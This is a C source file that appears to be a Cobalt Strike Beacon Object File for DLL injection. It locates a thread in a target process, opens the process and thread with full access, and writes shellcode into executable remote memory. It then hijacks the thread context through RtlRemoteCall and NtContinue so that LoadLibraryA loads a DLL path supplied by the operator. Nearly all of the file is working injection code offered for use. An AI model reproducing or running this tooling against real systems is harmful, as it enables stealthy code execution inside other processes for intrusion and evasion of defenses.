| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182 |
- #include <windows.h>
- #include <stdio.h>
- #include <tlhelp32.h>
- #include <stddef.h>
- #include <processsnapshot.h>
- #include "beacon.h"
- #include "loadlib.h"
- int FindThreadID(int pid){
- int tid = 0;
- THREADENTRY32 thEntry;
- thEntry.dwSize = sizeof(thEntry);
- HANDLE Snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
-
- while (KERNEL32$Thread32Next(Snap, &thEntry)) {
- if (thEntry.th32OwnerProcessID == pid) {
- tid = thEntry.th32ThreadID;
- break;
- }
- }
- KERNEL32$CloseHandle(Snap);
-
- return tid;
- }
- typedef struct _API_REMOTE_CALL {
- // remote API call return value
- size_t retval;
-
- // standard function to call at the end of the shellcode
- NtContinue_t ntContinue;
- CONTEXT context;
-
- // remote function to call - adjust the types!
- LoadLibraryA_t ARK_func;
- char param1[100]; // LPCSTR
-
- } ApiReeKall;
- void SHELLCODE(ApiReeKall * ark){
- size_t ret = (size_t) ark->ARK_func(ark->param1);
- ark->retval = ret;
- ark->ntContinue(&ark->context, 0);
- }
- void SHELLCODE_END(void) {}
- size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) {
- char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12
- 0x49, 0x8b, 0xd5, // mov rdx, r13
- 0x4d, 0x8b, 0xc6, // mov r8, r14
- 0x4d, 0x8b, 0xcf // mov r9, r15
- };
- int prolog_size = sizeof(prolog);
-
- // resolve needed API pointers
- RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall");
- NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue");
-
- if (pRtlRemoteCall == NULL || pNtContinue == NULL) {
- BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
- return -1;
- }
-
- // allocate some space in the target for our shellcode
- void * remote_mem = KERNEL32$VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (remote_mem == NULL) {
- BeaconPrintf(CALLBACK_ERROR, "Error allocating remote memory!\n");
- return -1;
- }
-
- // calculate the size of our shellcode
- size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE;
-
- size_t bOut = 0;
- #ifdef _WIN64
- // first, write prolog, if the process is 64-bit
- if (KERNEL32$WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) {
- KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
- BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (prolog)!\n");
- return -1;
- }
- #else
- // otherwise, ignore the prolog
- prolog_size = 0;
- #endif
- // write the main payload
- if (KERNEL32$WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) {
- KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
- BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (shellcode)!\n");
- return -1;
- }
-
- // set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking
- ark.retval = RETVAL_TAG;
- ark.ntContinue = pNtContinue;
- ark.context.ContextFlags = CONTEXT_FULL;
- KERNEL32$SuspendThread(hThread);
- KERNEL32$GetThreadContext(hThread, &ark.context);
- // prepare an argument to be passed to our shellcode
- ApiReeKall * ark_arg;
- ark_arg = (ApiReeKall *) ((size_t) remote_mem + sc_size + prolog_size + 4); // align to 0x10
- if (KERNEL32$WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) {
- KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
- KERNEL32$ResumeThread(hThread);
- BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (ApiReeKall arg)!\n");
- return -1;
- }
- // if all is set, make a remote call
- NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1);
- if (status != 0) {
- BeaconPrintf(CALLBACK_ERROR, "Failed RtlRemoteCall with status code: %x\n", status);
- KERNEL32$ResumeThread(hThread);
- return 0;
- }
- BeaconPrintf(CALLBACK_OUTPUT, "[+] Made successful remote RPC call with status code: %x\n[*] Wait for the RPC call to be triggered in the remote process..\n", status);
- KERNEL32$ResumeThread(hThread);
-
- // get the remote API call return value
- size_t ret = 0;
- while(TRUE) {
- KERNEL32$Sleep(1000);
- KERNEL32$ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut);
- if (ret != RETVAL_TAG) break;
- }
- if (!KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE))
- BeaconPrintf(CALLBACK_ERROR, "Remote shellcode memory could not be released\n");
-
- return ret;
- }
- void go(char *args, int len){
- datap parser;
- int pID = 0;
- char *pathToDLL;
- BeaconDataParse(&parser, args, len);
- pID = BeaconDataInt(&parser);
- pathToDLL = BeaconDataExtract(&parser, NULL);
- DWORD tID = FindThreadID(pID);
- if (tID == 0) {
- BeaconPrintf(CALLBACK_ERROR, "Could not find a suitable thread in target process!\n");
- return -1;
- }
-
- // open both process and thread in the remote target
- HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
- HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, 0, tID);
- if (hProcess == NULL || hThread == NULL) {
- BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
- return -1;
- }
- BeaconPrintf(CALLBACK_OUTPUT, "[+] Got handle to remote process and thread!\n");
-
- // prepare a ApiReeKall struct with a function to call
- ApiReeKall ark = { 0 };
- ark.ARK_func = (LoadLibraryA_t) GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA");
- MSVCRT$strcpy_s(ark.param1, 100, pathToDLL);
-
- size_t ret = MakeReeKall(hProcess, hThread, ark);
- if(ret != 0) {
- BeaconPrintf(CALLBACK_OUTPUT, "[+] Received call confirmation. DLL should be loaded!\n", ret);
- }
- // cleanup
- KERNEL32$CloseHandle(hThread);
- KERNEL32$CloseHandle(hProcess);
- return 0;
- }
|